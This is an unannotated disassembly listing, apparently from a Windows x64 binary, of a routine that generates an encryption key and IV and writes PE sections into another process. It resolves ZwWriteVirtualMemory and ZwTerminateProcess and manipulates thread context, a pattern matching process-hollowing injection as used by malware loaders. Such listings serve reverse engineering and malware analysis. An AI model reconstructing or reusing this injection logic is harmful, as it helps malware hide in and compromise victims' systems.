lea rcx, [rbp + 0x518]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009aa0
jmp 0x140008e49
mov edi, 4
mov rax, qword gs:[0x58]
add rdi, qword [rax]
mov eax, dword [rdi]
cmp dword [0x142e41888], eax
jle 0x1400082ed
lea rcx, [0x142e41888]
call fcn.14000d9c8
cmp dword [0x142e41888], 0xffffffff
jne 0x1400082ed
mov edx, 0x20
lea rcx, [0x142e41868]
call fcn.14000a4f0
lea rcx, [0x14000f550]
call fcn.14000de20
nop
lea rcx, [0x142e41888]
call fcn.14000d95c
mov eax, dword [rdi]
cmp dword [0x142e41864], eax
jle 0x140008336
lea rcx, [0x142e41864]
call fcn.14000d9c8
cmp dword [0x142e41864], 0xffffffff
jne 0x140008336
mov edx, 0x10
lea rcx, [0x142e41898]
call fcn.14000a4f0
lea rcx, [0x14000f4e0]
call fcn.14000de20
nop
lea rcx, [0x142e41864]
call fcn.14000d95c
cmp byte [0x142e41850], 0
jne 0x140008384
lea rcx, [0x142e41868]
call fcn.14000a480
mov rcx, rax
mov edx, dword [0x142e41878]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x1400083a9
lea rcx, [0x142e41898]
call fcn.14000a480
mov rcx, rax
mov edx, dword [0x142e418a8]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x1400083a9
mov byte [0x142e41850], 1
lea rdx, str.ZwWriteVirtualMemory
mov rcx, qword [0x140019320]
call fcn.140003d50
mov qword [rbp + 0x10], rax
test rax, rax
jne 0x1400083d1
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory.
jmp 0x1400083b0
lea rdx, str.Error_generating_key_or_IV.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140008200
lea rcx, [rbp + 0x640]
call fcn.140003250
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x640]
call fcn.140003e30
nop
lea rcx, [rbp + 0x658]
call fcn.140003250
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x658]
call fcn.140003fc0
nop
mov rax, qword [rbp + 0x658]
mov rsi, qword [rax]
mov r9d, dword [r15 + 0x54]
lea rax, [rbp + 0x6c0]
mov qword [rsp + 0x20], rax
lea r13, [0x1400170d0]
mov r8, r13
mov rdx, qword [rbp - 0x30]
mov rcx, qword [r14]
call rsi
mov rdi, r12
cmp r12w, word [r15 + 6]
jae 0x1400084a2
mov rbx, r12
mov r12, qword [rbp - 0x38]
nop dword [rax]
movsxd rax, dword [0x14001710c]
add rax, rbx
mov r9d, dword [rax + r13 + 0x118]
mov r8d, dword [rax + r13 + 0x11c]
add r8, r13
mov edx, dword [rax + r13 + 0x114]
add rdx, qword [rbp - 0x30]
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [r14]
call r12
test eax, eax
je 0x14000858a
inc rdi
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp rdi, rax
jb 0x140008450
xor r12d, r12d
mov rdx, qword [rbp + 0xa8]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x30]
mov rcx, qword [r14]
call rsi
test eax, eax
je 0x14000864b
mov edx, 0xfffffff7
mov rcx, qword [r14]
call qword [0x142e41830]
nop
lea rcx, [rbp + 0x658]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x640]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x600]
call fcn.14000a490
nop
lea rcx, [rbp + 0x620]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x588]
call fcn.14000a490
nop
lea rcx, [rbp + 0x550]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a490
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000a490
nop
lea rcx, [rbp + 0x518]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009aa0
mov eax, 0xfffffff7
jmp 0x140008e4e
mov edx, 0xfffffff8
mov rcx, qword [r14]
call qword [0x142e41830]
nop
lea rcx, [rbp + 0x658]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x640]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x600]
call fcn.14000a490
nop
lea rcx, [rbp + 0x620]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x588]
call fcn.14000a490
nop
lea rcx, [rbp + 0x550]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a490
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000a490
nop
lea rcx, [rbp + 0x518]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009aa0
mov eax, 0xfffffff8
jmp 0x140008e4e
mov eax, dword [r15 + 0x28]
add rax, qword [rbp - 0x30]
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0x20]
mov rcx, qword [r14 + 8]
call qword [rsp + 0x58]
call fcn.140005220
xor edx, edx
mov rcx, qword [r14 + 8]
call rax
test eax, eax
je 0x140008755
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwTerminateProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0xfffffff5
mov rcx, qword [r14]
call rax
nop
lea rcx, [rbp + 0x658]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x640]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x600]
call fcn.14000a490
nop
lea rcx, [rbp + 0x620]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x588]
call fcn.14000a490
nop
lea rcx, [rbp + 0x550]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a490
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000a490
nop
lea rcx, [rbp + 0x518]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009aa0
mov eax, 0xfffffff5
jmp 0x140008e4e
lea rcx, [rbp + 0x658]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x640]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x600]
call fcn.14000a490
nop
lea rcx, [rbp + 0x620]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x588]
call fcn.14000a490
nop
lea rcx, [rbp + 0x550]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a490
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000a490
nop
lea rcx, [rbp + 0x518]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009aa0
xor eax, eax
jmp 0x140008e4e
lea rdx, str.ZwAllocateVirtualMemory_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0xfffffffa
mov rcx, qword [r14]
call qword [0x142e41830]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x14000887b
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008875
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008875
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x1400088d9
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400088d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400088d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140008937
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008931
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008931
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140008995
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000898f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000898f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400089f3
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400089ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400089ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140008a62
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140008aa7
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008aa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008aa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140008b05
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008aff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008aff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x508], r12
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x140008b74
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b5c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140008bb9
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008bb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008bb3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140008c16
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov eax, 0xfffffffa
jmp 0x140008e4e
call fcn.14000de38
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140008c95
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140008cda
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008cd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008cd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140008d38
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x508], r12
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x140008da7
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140008dec
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008de6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008de6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140008e49
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x1eb0]
xor rcx, rsp
call fcn.14000d900
mov rbx, qword [rsp + 0x2010]
add rsp, 0x1fc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret